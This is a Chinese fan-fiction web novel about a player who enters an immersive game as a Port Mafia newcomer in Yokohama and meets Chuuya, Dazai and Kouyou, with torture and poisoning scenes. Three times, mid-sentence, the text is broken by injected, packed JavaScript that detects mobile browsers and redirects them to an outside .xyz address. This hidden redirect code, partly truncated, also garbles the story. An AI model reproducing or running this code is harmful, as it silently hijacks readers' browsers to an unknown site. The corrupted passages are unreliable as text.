《玩家你过去到底是什么身份啊![综]》 1. 花理,进入游戏 「欢迎您,尊敬的体验者/绵津见花理/」 「本作《彼方物语》采用现时代最高智能ai、搭配全息休眠仓——力图为您带来最真实的第二人生体验。」 「点击【确认】以进入游戏。」 「您正在进入:异能都市——横滨」 /您将踏过以罪恶书写正义的都市,见证枪火与暴.力中绽放的恶之花。 作为一切的起点,也是一切的终点……您只需记住: 在这里,生与死的滋味往往酿在同一只酒杯。/ ——港口Mafia/系统已激活—— ——载入中—— 「彼方物语全体成员预祝您」 「游戏(划掉)第二人生愉快。」 _ 绵津见花理回过神来,发现自己正站在在港口Mafia大厦的高层走廊,黑色西装紧贴着腰线,胸前银质胸针刻着「港口mafia」的标志。 她微微睁大眼,转过头,看向玻璃中自己的倒影。和现实中别无二致的长相,圆圆的眼睛,挺巧的鼻梁,可爱而憨娇的少女模样。 然而现在,这毫无威慑力的长相搭配的是令人闻风丧胆的Mafia身份。 绵津见花理:“……”系统的身份抽取到底是依照的什么标准。 思索间,玻璃中属于自己的倒影旁弹出了一个提示框。淡蓝色的光幕上白色的字眼跳动着出现: 「角色:绵津见花理」 「异能力·见证者 效果:可观测目标信息及延伸情报」 「近期事件:进入港口Mafia情报部」 「状态:茫然」 绵津见花理:……还真是谢谢你的解析啊,但是最后那句就不用了吧。 她收回视线,笨拙地感受着游戏身体和周围的环境,或许感官的同步是渐进的,她这才注意到自己抱着厚厚的一沓资料。花理呆滞地掂了掂手中的资料,足足有一包a4纸那么厚。 “——好重!” 回过神来的花理觉得手中的重量像是突然出现一般,她一个踉跄,差点把手里的资料摔出去。跌跌撞撞了几步,她选择靠墙蹲下来凝视着这堆纸。 我现在是打杂跑腿人员吗。 诶……作为玩家要来007吗。 我不一点都不想上班来着。 放在膝盖上的文件一不小心就滑落到地板上,随着沉闷的厚重纸张碰击声哗啦啦地散落在周围。花理徒劳地伸出尔康手,只抓到了空气。 「事件:你差点将需要递送的文件散落。路过的同事向你投来了怀疑的目光。」 「喂、这家伙没问题吗。」 「检测到状态[怀疑]——你触发了角色面板。」 「绵津见花理」 体力:3 「如果不是有异能,你大概难以胜任任何工作。」 获得属性天赋:「至坚者的垂目」 效果:当你陷入麻烦时,必定触发NPC救助行为(救助者好感度增幅+50%) 智力:8 「或许你可以试试考上东大。」 获得属性天赋:「智者的发问」 效果:剧情对话时,关键词将为您高亮标注 财力:2 「贫穷但清澈,如同暴风雪中的玻璃灯。」 获得属性天赋:「慈爱的施舍者」 效果:持有金钱≤1000円时,有75%概率获得随机赠礼。 容貌:9 「美是一种天赋,而你是此道的天才。」 获得属性天赋:「可爱的说服力」 效果:初次见面NPC主动提供帮助概率+80%。 耐力:3 「一千米和007都会让你毙命。」 获得属性天赋:「几近破碎的沙漏」 效果:执行日常任务≥5时时,必定触发特殊事件。 …… 实在是太长了,花理根本懒得看完,她移开视线,努力地抱着剩余的资料站起来去捡远处的文件。 “喂、你……” 她抬起头,和迟疑地俯下身来的青年对上视线。青年橘发凌乱地翘着,黑色礼帽斜扣在脑后,正双手抱臂看着她,皮质手套不耐烦地敲着小臂。 绵津见花理被对方不寻常的发色和瞳色惊了一下,手一抖,连手中剩余的文件一起散落出去。她有些吃惊地看着抓了抓脑袋一边念叨着“好麻烦”一边好心帮她捡起几张文件纸的男人。 好、好漂亮的少年!……正太?花理努力地睁大眼,在心中为游戏点了个赞……随后她想到:不知道这个游戏有没有内置npc好感系统…… 攻略!攻略!她要吃这个!她宣布这孩子就是港口Mafia必吃榜! “喂!啊、真是的……”中也啧了一声,红色色的异能光晕骤然亮起。散落的全部文件被异能包裹着摇摇晃晃悬着飞起来,停在半空,如同被按下暂停键的暴风雪。 绵津见花理抬头半是好奇地看向他。 「角色:港口Mafia·重力使·中原中也」 「异能力·污浊了的忧伤之中」 「近期事件:连续工作17小时」 「状态:烦躁,但乐于助人」 绵津见花理被对方的「近期事件」狠狠地惊了一下,联想到自己的耐力3,不由得露出感叹的表情。 中原中也只是挥了挥手,文件像收到指令般全部汇聚到他手上。他随意地扫了一眼最上层的报告单,目光扫过「镭钵街地形勘测」标题时顿了顿:“新人?……情报部的?” “是、是的!”花理回过神来,伸手去接文件,指尖却不小心擦过他手套边缘。中也猛地后退半步,绵津见花理手忙脚乱地接过全部文件,艰难地道谢:“谢谢啊,前辈。” 「您已触发天赋【可爱的说服力】!」 「NPC救助行为判定成功」 「角色中原中也:好感度上升!」 绵津见花理好奇地盯着这位乐于助人又给她大方加好感的NPC,觉得自己对他的好感度也在指数上涨。中原中也撞上她亮晶晶的目光,不由得顿了一下。 “下次要拿稳了。”他压低帽檐,本来想说些什么,却被电话铃声打断。绵津见花理看着他接了一个电话之后表情瞬间由阴转雷,转身要走。 花理也抱着文件起身,刚要秉承日本职场良好的「躬匠精神」给这位好人前辈鞠个躬,又见他却突然回头。 四目相对,花理注意到他耳尖泛起可疑的红晕,脸上却没什么表情变化。像是随口的提醒或者吩咐一般,淡淡地对她道: “B2仓库有推车。你下次可以去借用。”中原中也朝她点点头,一手拿着手机,大步流星消失在走廊尽头。 「您完成了与角色的首次对话!」 「经验值+10,距离lv2还有(10/100)」 绵津见花理目送工作了17小时还要上班的前辈离去,肃然起敬,又是对自己的游戏工作生活满是担忧。 Mafia……应该不可以离职吧。 她郁闷地盯着手里的文件,忽然想到: 啊……说起来,这些文件、要送到哪里去来着? _ 绵津见花理一袋一袋地翻过去,终于在第十五份文件封皮的边角处找到一行小字: 呈递对象:尾崎红叶干部 时限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040776|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :18:00前 绵津见花理:! 她下意识地抬起手,手腕上带着初始服装自带的腕表。显示现在时间是17:53。 她心里过了一遍电视剧里看到过的Mafia对手下的酷刑,一边慌忙起身跑着文件撒腿就跑,欲哭无泪: “我完蛋了……” 等一下、尾崎红叶是谁……?她又该怎么走……? 飞奔到电梯口,花理想起最重要的事情,呆了呆。系统的提示音适时响起: 「已为您规划路线:十五楼走廊——电梯——地下室二层/尾崎红叶现处点位」 【横滨地图解锁12%】 绵津见花理心里在急切地尖叫,忍不住吐槽:“怎么现在才说!” 她狂按电梯下键,苦着脸要求系统: “记得把我的痛觉调到5%……” 游戏的人工智能系统顿了顿,第一次发出播报以外的声音: 「充分了解您的心情,玩家小姐。但我们这里是全年龄向,不会有您害怕的事情发生……大概。」 绵津见花理不语,只是露出不信但礼貌的微笑。 终于等到电梯降落到这个楼层,绵津见花理迫不及待地冲进去,幸好里面现在空无一人,她简直要高兴得热泪盈眶,按下地下二层的按钮,心安地靠在电梯里。 一口气还没下来,就听电梯又是「叮咚」一声,在12楼缓缓停下。 绵津见花理:!谁!到底是哪里杀出来的程咬金! 她恶狠狠地盯着打开的电梯门,一只缠满绷带的手突然卡进门缝。把她吓了一跳。 一只缠满绷带的手突然卡进缝隙,片刻后,一个看起来很是不高兴的青年从中间挤进来。绵津见花理下意识后退,后腰撞上冰凉的金属壁。 “哎呀,原来有人在呀。” 和青年看起来毫无生气的外表不同的是,他开口的语调可以说是相当有活力。每个音都落在了花理没想到的地方。 轻飘飘的嗓音混着血腥气漫进来。青年侧身挤入电梯的瞬间,花理的面前又跳出了介绍。不同的是,这次有一个大写加粗的「危险/谨慎靠近」 青年顶着一头蓬松而凌乱的棕发,右眼缠着绷带,露出鸢色的左眼。虽然透彻,却死气沉沉。 黑色风衣下摆沾着可疑的暗红色痕迹,里面是一身服帖的正装,脖子上缠绕满绷带。花理看着他身上左一块右一捆、衣服外裸露的皮肤几乎都布满的绷带,露出了带着些许疑惑的表情。 太宰治饶有兴趣地注视着她的反应,轻笑了一声。 【极度危险/谨慎靠近/难以攻略】 【港口Mafia最年少干部·太宰治】 【死亡倾向:99.3%(当前渴望:蟹肉罐头配洗涤剂)】 花理:……?这、这是什么?不懂但大受震撼…… “新人?”她在抬头时,青年忽然倾身逼近,消毒水味混着血的铁锈气息笼罩下来。袖口滑落时,腕间交错的旧伤映入花理的眼帘,“情报部……在给红叶姐跑腿?” 一只手抽走了最上层的文件。游戏内身为社畜的身份带来的对上司的敬畏和花理本人纷杂的情绪在心里天人交战,最后折中。花理对着这人的情报介绍想了想,最后还是忍不住。 她尽力更加委婉地问道: “洗涤剂真的能喝死人吗?” 等一下是不是有点不够委婉……?花理一顿,看向太宰治。他正微微掀起像是无聊而耷拉着的眼皮,向她投来似笑非笑的目光。 电梯里的空气凝固了一瞬。 花理:“……” 人生第一天在Mafia上班,或许即将得罪上司,尸沉东京湾。 2. 可疑的好心前辈 正抽出一张报告准备随便看看打发时间的太宰治的顿了一下,虽然只有一瞬间,但花理想他大概也愣了片刻。他保持着俯身抽走资料的姿势没动,花理露出一个“囧”的表情,抬头看他。 “啊……” 他突然笑出声,露出的左眼弯成月牙:“这是新人你和前辈打招呼的方式吗~很有趣哦。” 花理为他轻飘飘而随便的无厘头回答松了一口气:“嗯……打招呼啊、前辈、呃不是……太宰干部好……” 太宰治一眨不眨地看着他,恍惚间花理有种自己是解剖室里实验台上马上会变成尸体的动物的错觉。 花理顿了顿,咽下自己的苦笑,对这位前辈露出一个苦涩而不自知的勉强笑容。 “嗯。”他随意地应了一声,没什么反应,“原来这才是打招呼啊。” 消毒水的气息随着他的后退稍稍散去。 花理有些好奇地看着他,虽然系统标注对方是个十足的危险分子。但花理觉得他意外的还挺好相处的——危险的话、Mafia应该全部都很危险吧?包括她现在的身份也是。 青年像是同她一样的体力废,此刻正半靠在另一边的电梯壁上,无聊地盯着地板眨眼。 她天马行空的想象力和沉默的尴尬促使她发问:“喝了洗涤剂再喝水会吐泡泡吗?” 青年闻言侧过头来看她,太宰治挑了挑眉,对上少女混杂着探究好奇和……友好的目光? “你很好奇吗。”他的声音突然近了,花理抬头时差点撞上他的下巴,“嗯……理论上来说……在你吐泡泡之前——” “在前五分钟,你会先体验到口腔和喉咙里的烧灼感,食道黏膜脱落。” 他像是对有人问了他这个问题感到一些惊奇或是兴奋,弯下腰来对上被靠近的他吓了一跳正低下头的花理的视线,鸢色的眸子眨呀眨,像顽劣的孩童一般,笑着吐出让人毛骨悚然的话语。 “接下来你会感觉到腹痛加剧,胃酸渗出……” “呃。”花理猝不及防地被前辈恐吓,发出干笑的声音,她后悔问这个问题了,但身后就是电梯壁,她实在退无可退。 “哥们……、咳,老大、”她语无伦次,拼命地找话题,“不是,太宰干部你是什么研究组的吗……哈哈……” 太宰治的瞳孔微微扩大。他看着少女皱着脸的样子,像是好心情般低笑了两声,退开了一些。 他哼着奇怪的曲调,用缠着绷带的手指戳了戳盯着地面两眼发直的花理的脸颊,带着探究的目光试探着她的反应:“还以为你很感兴趣呢。” 这么一说好像确实不错……或许可以提供给红叶当一些审讯的小小灵感?太宰治笑眯眯地想。 花理不自在地想要躲开,她垂眸看了一眼青年修长的手指。布满的粗糙的绷带,带着某种阴沉的寒凉的气息。 “不过呢——”太宰治突然抽回手,声音欢快起来。从大衣口袋掏出个小瓶子,向她热情地推销起来,“将将~!这是前辈特制的改良配方哦?加了三——倍——发、泡、剂!” 淡蓝色液体在玻璃管里晃动,标签上画着个骷髅头,太宰治的声音又忽然沉了下去,声音似是饶有趣味的呢喃,又像是某种心情糟糕的警告:“真是没想到竟然还有后辈和我想到一块去了——” 花理看看那管液体,又抬头看看太宰治。 【检测到致死化合物】 【成分为:十二烷基苯磺酸钠+□□】 “要试试看吗?”他晃了晃试管,气泡在液体里升腾,看着她眸子里黑沉沉的,“说不定能实现新人酱吐泡泡的愿望呢~” 「警告!警告!检测到玩家死亡可能性剧烈上升!请及时存档!」 绵津见花理不可置信地睁大眼睛,看着太宰治的眼神不由得惊恐起来:“前辈你……” 太宰治低低地应了一声,满脸笑容地要把手里的混合物递给她:“嗯?” “……”中华血统在呼唤,绵津见花理实在是太震撼了,她带着复杂的、混合着关爱、钦佩、对待外星生物的表情,诚恳道: “连这种东西都能喝下去,前辈你干什么都会成功的。” 虽然腹痛加剧、胃酸渗出一类的形容很下饭,但绵津见花理忍不住去想洗涤剂入口的粘糊又滑腻的口感,糊在食道里的恶心的反胃感,或许存在的某种像是「柠檬味」然后混杂着酒精和泡泡一类的味道…… 花理,理智鉴定大失败。 已经开始想吐了。 “……”太宰治表情困惑了一瞬,然后像是忍俊不禁一般发出一个气音,“哈。” “关注点很独特嘛。”他像是一下子失去了兴趣,收回目光,语气恢复成一开始那个懒洋洋的态度,靠着电梯一下一下地晃着小瓶中的液体。 虽然但是……她那几乎是发自内心的夸奖。绵津见花理盯着太宰治手里的小瓶子,总觉得那是什么致命武器。 青年像是失去了和她对话的欲望,只是自顾自地低低哼着歌。 电梯"叮"地停在b2层。太宰治收起手里的小瓶子。门开的瞬间,他随手把刚刚拿起的文件放回花理抱着的文件顶上,双手插兜率先迈开步子走了出去,向着和花理相反的方向。 “啊、对了~” 绵津见花理低着头,吃力地抱着资料,刚要按着索引往尾崎红叶的方向走,突然被太宰治叫住,她疑惑地转身,看向青年。 他站在灯光的交界处,一半浸入阴影当中,有些随意的、像是忽然想起来一样,对她说。 “别告诉她在电梯上见到我了哦?” 同一时间,花理脑海里响起系统的声音: 「玩家小姐,现在的时间已经到18:00了。虽然我觉得没关系,但您刚刚已经很担心……」 花理「嗷」了一声,连忙抱着资料撒丫子就跑。推开尾崎红叶办公室的大门,她气喘吁吁就差直接倒地了: “尾崎……大人、”花理把资料重重地放下在办公桌,撑着膝盖弯腰大口喘息,“很抱歉……我来晚了……” 「您已成功提交任务资料『港口黑手党的内部文件』」 「经验值+10,距离lv2还有(20/100)」 屏风后,一道优雅的女人身影微动。在花理的注视下,娉娉袅袅地走出来。红色和服上勾勒金线,裙摆绽放着大片的彼岸花。 绵津见花理忍不住想这件和服一定很贵。她好奇地抬眼看去,自己的未来上司正缓缓停在她面前。指尖摩挲过她刚刚带来的资料。 女人转过身,发间金簪流苏轻晃,袖摆的刺绣在灯光下闪过反光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040777|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “慌慌张张的,成何体统?” 花理紧急刹车,眼前浮起介绍: 「角色:尾崎红叶·港口Mafia干部·审讯部队负责人」 「异能力:金色夜叉」 「状态:愉悦(刚结束一场拷问)」 “非、非常抱歉!”她九十度鞠躬,文件哗啦散落几页。尾崎红叶用桧扇挑起她的下巴,目光扫过她胸前的工牌:“新人?” 花理:…… 她也不知道自己是不是新人,本以为自己隶属于「情报部」,这个部门的管理者应该更了解这个身份的信息才对,于是胡乱地点点头。 随着女人的轻笑声,屏风后一个巨大的阴影传来刀刃入鞘的声音。 “抬起头来。” 女人脸上,那浅浅的笑意,似是摇曳的彼岸之花。 “怎么来得如此慢?”尾崎红叶的桧扇沿着少女下颌线滑过,金属扇骨残留的冷冰冰的触感传来。花理忍不住想躲,她努力忍住,睫毛轻颤。 “……”她顺着对方抬起扇子的力度被迫抬起头,看着面前女人噙着打趣笑容的表情和凝视着她的紫色瞳孔。 花理努力忍耐的样子落入红叶眼中,女人轻笑一声,合扇收手: “你叫什么名字?” 绵津见花理松了一口气,退后几步:“花理。绵津见花理。” “倒是生得一副讨喜模样。"扇尖轻点她右肩,红叶垂眸,转身淡声吩咐,"随吾辈来。” 花理疑惑了片刻,直到系统提示「触发新任务」 「暗间花·其一/任务开启」 「任务指引:跟随尾崎红叶进入地下审讯室。」 「任务奖励:尾崎红叶好感度+10,□□大楼探索度+5」 「注:此任务有概率触发特殊剧情」 花理回过神来,两人走出走廊,地下室没有窗户,即使开着灯花理也觉得有些压抑。转弯进了刚刚大宰治离开的方向。她低着头,亦步亦趋地跟在女人后面。浓重的血腥气呛了花理一下,她停下脚步。 身前的女人没有等她,还是一样优雅缓慢地向前迈步:“怕了吗。” 花理摇摇头。玩家无所畏惧! 直到随她踏入审讯室,铁门在身后闭合的瞬间,花理终于明白系统为什么要用【刚结束拷问】作为心情标注,并且充分明白了自己和正牌Mafia的不同。 ——空气里浓稠的铁锈味让她忍不住反胃,她迈开每秒都想转身往外逃跑的腿。在昏暗的地下,一间间的铁牢中,墙壁上仍有残留可疑的干涸痕迹。 花理的目光扫过一排排刑具,她想自己是换身份卡好还是换身份卡好。 尾崎红叶用扇骨敲了敲铁栏杆,或许是为了提醒太宰治有人来了。“铮”的一声,花理感觉耳朵有点疼,不适地苦着一张脸。 墙角排水沟残留着可疑碎屑,而太宰治正坐在审讯椅扶手上晃荡双腿。她看了一眼绑在刑讯椅上的陌生男人无法形容的惨状条件反射地退后半步。 撞上刑具架时,哐当一声,在场的两位干部齐齐回头看她。 花理对上太宰治黑沉沉又饶有趣味的眸子。他状似随意地扫过她,视线停留在一旁高傲的女人身上。站起身,轻笑一声: “新人?红叶姐。” 3. Mafia的第一课 青年用皮鞋间碾着地上的什么,花理一开始还没看清,注意到那是一截断指之后,一句「卧槽」差点脱口而出。 她瑟瑟发抖地看向这个刚在电梯里搭过话,还觉得「还算友善」的前辈+领导,后怕地咽了口口水。 太宰治装作一副刚看见她的样子,笑嘻嘻地转过头来:“嗯?这位是……” 尾崎红叶将桧扇抵在唇边轻笑,刻意用身体挡住了花理的大半视野:“是妾身带来的孩子。你好像吓到她了呢,太宰君。” 太宰治“嗯?”了一声,仰起头,指尖无聊地点击着大腿,拉长声音:“会被我吓到的话还是转去后勤部比较好吧?” 红叶不置可否,她先前走了两步: “那么,有成果了吗?太宰君。” “这次是有了——”太宰治百无聊赖地用脚尖点地,声音懒洋洋的,“但是下次红叶姐还叫我过来帮忙就不一定有了哦~?” 红叶哼笑一声。监牢旁站立的两排黑衣人——花理想那大概是她比较倒霉的同事们。他们恭恭敬敬地拉开狱门,花理就这样迷迷糊糊的被尾崎红叶牵着手走进去。 她实在是太膈应地上的残肢碎屑了,每走一步都死死盯着地板,就怕自己踩到什么就算是在游戏里她也会觉得自己功德-10的东西。 太宰治注视着她的动作,眨眨眼,而后移开视线。他从审讯椅上站起来,双手插兜,走到她和红叶这一边。 花理看了他一眼,青年安静地注视着刑讯椅上奄奄一息的人,像是突然被启发了些什么一样用上扬的声音说:“啊……实在是太难看了。” “我的话,绝对不要那么难看的死啊……” 绵津见花理复杂地看了他一眼,虽然但是,这位悲惨的大哥似乎还没有死…… 太宰治的手不知何时搭上了她的肩膀,好整以暇地看着她,微微凑前一些,几乎把下巴搁在她的肩上: “表情很有趣哦?” “别吓妾身家的孩子。” 尾崎红叶朝旁边待命的人点点头,一身黑西装看起来比她像□□多了的同事们一桶水就浇到了被审问的人身上……对方发出了惨叫,花理才反应过来那是盐水。 画面太过惨烈,她忍不住抖了抖。 作为全场唯一的冒牌Mafia,花理已经升起了许多诸如「可以换身份吗」「被抓到的话可以系统托管吗」之类的想法。趁着大家注意力都在那边,她顺势往尾崎红叶身后躲了躲。 她左看看右看看,太宰治双手插兜,脸上带笑,漫不经心的作态。尾崎红叶倒是严肃一点,但也没多认真,只是一副公事公办的样子,淡淡地吩咐了一句:“去拿钳子来。” “哎呀。”太宰治发出一声没什么所谓的感叹,“该审出来的我都审出来了哦,红叶姐。” “无碍。”尾崎红叶说,她宽大的袖摆将花理和血腥的现场隔开,“妾身只是要他发挥一下余热。” 花理睁大眼睛,思考着所谓「余热」究竟指什么。 太宰治在她身后低低地笑了一声,她刚要好奇抬头去看,就被对方搭着肩膀往前推了两步。太宰治落在她身上的眼神实在有些玩味,花理一阵发毛。 “太宰干部……?” 青年没有理睬。 "仔细看好了。"尾崎红叶的声音突然在耳畔响起,花理这才发现对方不知何时已经走上前。太宰治在她身后,冰凉手指覆上她眼睑。 “新人酱很疑惑?所谓余热啊……是给你的教学哦。” 太宰治声音轻轻的,带着钩子,像是对她即将作出的反应充满期待,花理总觉得只要忍耐一点他就会继续更过分的试探。她下意识地想要摇摇头,却因为身后的太宰硬生生地止住动作。 尾崎红叶矜持地点头,像是认可太宰治的说法。她接过属下递来的钳子。 “想让他快点解脱的话,你就更要看好了。花理。” “部门领导都这么说了,工作第一天就要被考验还真可怜啊。”太宰治像对面前发生的一切喜闻乐见,在她耳边笑嘻嘻的,仿佛此刻恶趣味地扒开她的眼皮不许她闭眼的不是他。 刑架上的男人发出濒死野兽般的哀嚎。连着无意义的一段字句,又像是野兽的嘶吼。 “MO……POLA FRA……” 花理往后退,也只是被太宰治的身体拦下,他改而抓住她双手的手腕,几乎是控制她的躯体强硬要她看完这场表演。清列的危险气息包裹着花理,她一时分不清向前和向后哪个危险。 “你躲了的话,红叶姐会生气吧?” 花理算是看出来这个角色对她的满满恶趣味,这种看好戏一样的心情让他注意着花理的每一个反应。就像实验员看小白鼠那样。 花理面无表情地抬脚,装作不经意般踩上他的鞋。满意地听到太宰治的嘶声和委屈的“我明明是在帮你哦?” 她实在是不愿意去看眼前的景象,而此刻能救她于水火、也真的救她于水火之中的正是系统。一板一眼的播报声听起来都悦耳许多。 「检测到玩家的精神值持续下降」 「检测到特殊事件:mimic相关线索」 「玩家异能力『见证者』发动」 「您已进入里视角——谁人的记忆·有关同伴的片段」 花理睁大眼睛—— 视线中出现的,是被拷问者的脸。 在蓝天下。 _ 属于这个人的回忆像是旧画卷或是泛黄的胶片一般,花理眼前的影像就像上世纪的旧电影,卡顿着一帧一帧闪过。 ——「士兵跪在泥泞战壕里,暴雨冲刷着他们胸前的曾象征军功的勋章 一身黑袍的男人站在高处。高举起手中的枪。站在坍塌的教堂尖顶上,白发沾染上了硝烟的灰。 四周是缠着绷带满身是伤的士兵们。」 而属于这个男人的视角,正虔诚地看着什么。她顺着男人的视线向上看去。 「在交杂错乱,场面惨烈的尸体群中,失去手臂的士兵、胸口开洞的士兵……屹立者寥寥无几。而站在最前方的男人摘下兜帽。 “我们是被祖国切除的盲肠。”他鸣枪三声,吸引了所有在场者的目光,“但有人会需要活着的亡灵。”」 他像是往这边看了一眼,花理心里一跳,才想起来这不过是回忆,他看的大概是旁边那个真实存在在那个时间点的男人。 介绍栏在男人旁边弹出。 「角色:无归的背叛者·安德烈·纪德」 「异能力·窄门」 「近期事件:■■■■■■■」(您可随剧情推进解锁) 「/MORT POUR LA FRA ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040778|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' NCE/」 「祖国需要的不是活着的士兵,而是可供哀悼的幽灵。」 接连弹出的提示让花理目不暇接,她眼前一黑,总觉得眼睛像是承受了过重的负荷一般疼痛……但这是游戏,或许一切都是错觉。 不知何时钳制已经松开,身后没有了太宰治的身影。她捂住眼睛,一时失力,忍不住弯下腰大口大口的喘息。 「您已解锁剧情关键线索」 区域『异能都市横滨』主线日志「黑之时代」(5%)已收录! …… 在眼睛重叠的系统提示和残存的记忆消散的几秒后,花理的眼睛终于恢复了正常。透过指尖,眼前是不知何时跑到前面太宰治哼着殉情歌谣将针管扎进犯人脖颈,哼歌的调子与渐渐平息下去的呻吟形成诡异二重奏。 花理怔怔地放下遮住眼睛的手,她直起腰,努力让呼吸平稳。 “很好。”尾崎红叶已经回到了她身侧,手掌轻轻拍在她后背,像是带有长辈的欣慰一般: “合格了。没昏过去也没逃跑,好孩子。” 太宰治轻笑一声。青年将注射空的针筒随手一扔,咕噜噜在地上转了两圈。他的皮鞋踩在地上残留的一滩血迹中,踩到积水的践踏声在此刻忽然安静下去的地下室里异常清晰。 花理对上他的目光,平静而又充满兴味的。让她有些困惑。 她总觉得他过长的大衣说不定也会蹭到。所以她好心提醒: “前……太宰大人。” “嗯?”他挑挑眉。 “站在那里不会脏吗……”花理迟疑道,“还是说成为高层衣服也有手下帮忙洗……?” 和太宰治预想中她开口会说的第一句话相差甚远。简直可以说是天马行空。 太宰治像是看见什么新奇生物一般,微微张大嘴。随后,他发出「啊呀」一声。 “你的关注点真的很奇怪。”太宰治向她走过来,慢吞吞地说,“完全不像十几岁的新人嘛…… “这种像是玩游戏一样的无所谓的态度。” 绵津见花理心里一跳。注视着太宰治,他的表情却没什么变化。青年侧身,从她和尾崎红叶旁擦肩而过,离开了逼仄的地下室。 花理回头,目送他踏上几节台阶,背着身朝她们挥了挥手。 “啊对了红叶姐。”太宰治指尖转着一串钥匙,头也不回地推门离开,“这个,拿走了哦。” 尾崎红叶没有回答他,只是抬起手,手掌抚摸过花理的发梢。 “好孩子。”她说,便也转身走向门口,“从今天开始,你就是我的直系下属了。” 「暗中花·其一/任务完成!」 「您与角色【尾崎红叶】缔结羁绊:直系下属」 「任务结算中……您的经验值提升!目前等级lv2(30/200)」 「已自动为您存档……」 「太宰治好感度系统解锁」 「当前好感:±5(有时有趣有时无聊的路人)」 「升级奖励/任务奖励已发放至背包:」 「日元×1(1000円)」 「描述:游戏世界的通用货币,可以买来一切,包括幸福。」 「虽然只有1000円,但往好了想,您今晚至少不会饿死。」 花理:?你礼貌吗? 4. 奇怪的可怕前辈 审讯室厚重的铁门在身后合拢,隔绝了那令人窒息的血腥味和惨叫声,只留下花理耳边嗡嗡的耳鸣和脑海中纪德屹立于尸骸之上的清晰画面。 她脚步虚浮,像踩在潮湿的棉花上,只知道亦步亦趋地跟着尾崎红叶向外走。 “感觉如何?”尾崎红叶的声音平稳,听不出太多情绪,目光扫过花理苍白的侧脸,用袖子捂住脸笑了笑,并未出声安慰。 “……”花理张了张嘴,喉咙干涩发紧,试图回应上司的问题,却只发出一声短促的气音。 反胃感猛烈地翻涌上来,她猛地捂住嘴,踉跄着扶住冰冷的石墙,脊背剧烈地弓起。 「检测到玩家状态:因所视画面轻度精神污染……因异能力发动导致的剧烈眩晕。」 花理:(咬牙切齿)「……不是吧?玩家用异能力还有副作用?」 「都是为了战力平衡呢亲。」系统的声音听不出情绪,在花理耳中却尽显嘲讽,「毕竟不是所有玩家都像您一样抽到的是没有杀伤力的异能。」 花理:「……!那是谁的错!换卡!」 系统:「换不了呢亲,要不您自己撕卡吧。」 「检测到宿主在san值下降后接连经历怒气值上升——系统建议您:深呼吸,尝试进行精神安定」 深呼吸?花理咬牙切齿。她现在只想把刚才看到的一切都吐出来……最好是吐到系统头上。 冷汗浸湿了额发,黏腻地贴在皮肤上。 “看来还差得远呢。”略带沙哑的轻快男声自身旁响起。花理浑身一僵,甚至不用抬头,眼角余光就能瞥见来人那件熟悉的黑风衣。 拿着钥匙先一步离开的太宰治不知何时又折返回来,就站在她旁边,微微歪着头,饶有兴致地打量着她狼狈的样子。他的双手插在风衣口袋里,姿态悠闲得像是在公园散步,与花理的痛苦形成刺眼鲜明的对比。 “红叶姐的手下果然不一样,”他轻轻笑着,语调仿佛在赞叹什么少见的珍品,“能看到别人看不到的东西?真有趣啊。” 花理的心脏猛地一缩。她的视线向上撇去,和太宰治对上,他很高兴地朝她弯了弯眼睛,声音如同催命的恶鬼: “刚刚去看档案了……”恶趣味的少年声音缱绻的如同在呼唤恋人,“花理酱。” 花理微微张开嘴,表情空白。 他知道?他猜到了? 系统,这里有挂逼…… 太宰治笑眯眯,身旁挂着的信息栏再一次大写加租—— 【极度危险/谨慎靠近/难以攻略】 啊啊啊啊这个人!好恐怖! 花理内心尖叫,泪流满面:你你不要过来啊!原来你真是最恐怖的那个啊! “太宰君。”尾崎红叶不知何时站在了两人身旁,声音带上了一丝不易察觉的警告。 “在~”太宰治拖长了尾音,目光依旧锁定在花理身上,“我只是关心一下新同事嘛。”他顿了顿,忽然毫无征兆地从口袋里掏出一样东西——正是之前电梯里那管装着诡异蓝绿色混合液的小瓶子。 「检测到致死化合物……「配方照旧」」 花理的瞳孔骤然紧缩,身体比大脑更快地做出反应,下意识地往红叶身后缩了半步,同时忍不住蹦出一句: “怎么还是这个啊?你没喝的啊?” “咦?”太宰治挑了挑眉,脸上适时地露出恰到好处的疑惑,指尖灵巧地把玩着那个小瓶子,“……突然紧张什么?难道你觉得我会给你喝这个?” “刚刚在电梯上,你也在用看毒药的眼神看它……”太宰治摇晃着瓶子,声音戏谑,“明明只是发泡剂而已哦?” “至于我没喝嘛……毕竟是工作时间~出了什么「意料之外」的事情很麻烦嘛~” 他的笑容加深,带着一种纯然的无辜,仿佛花理的反应伤了他的心。 “明明我没对花理做什么吧?” 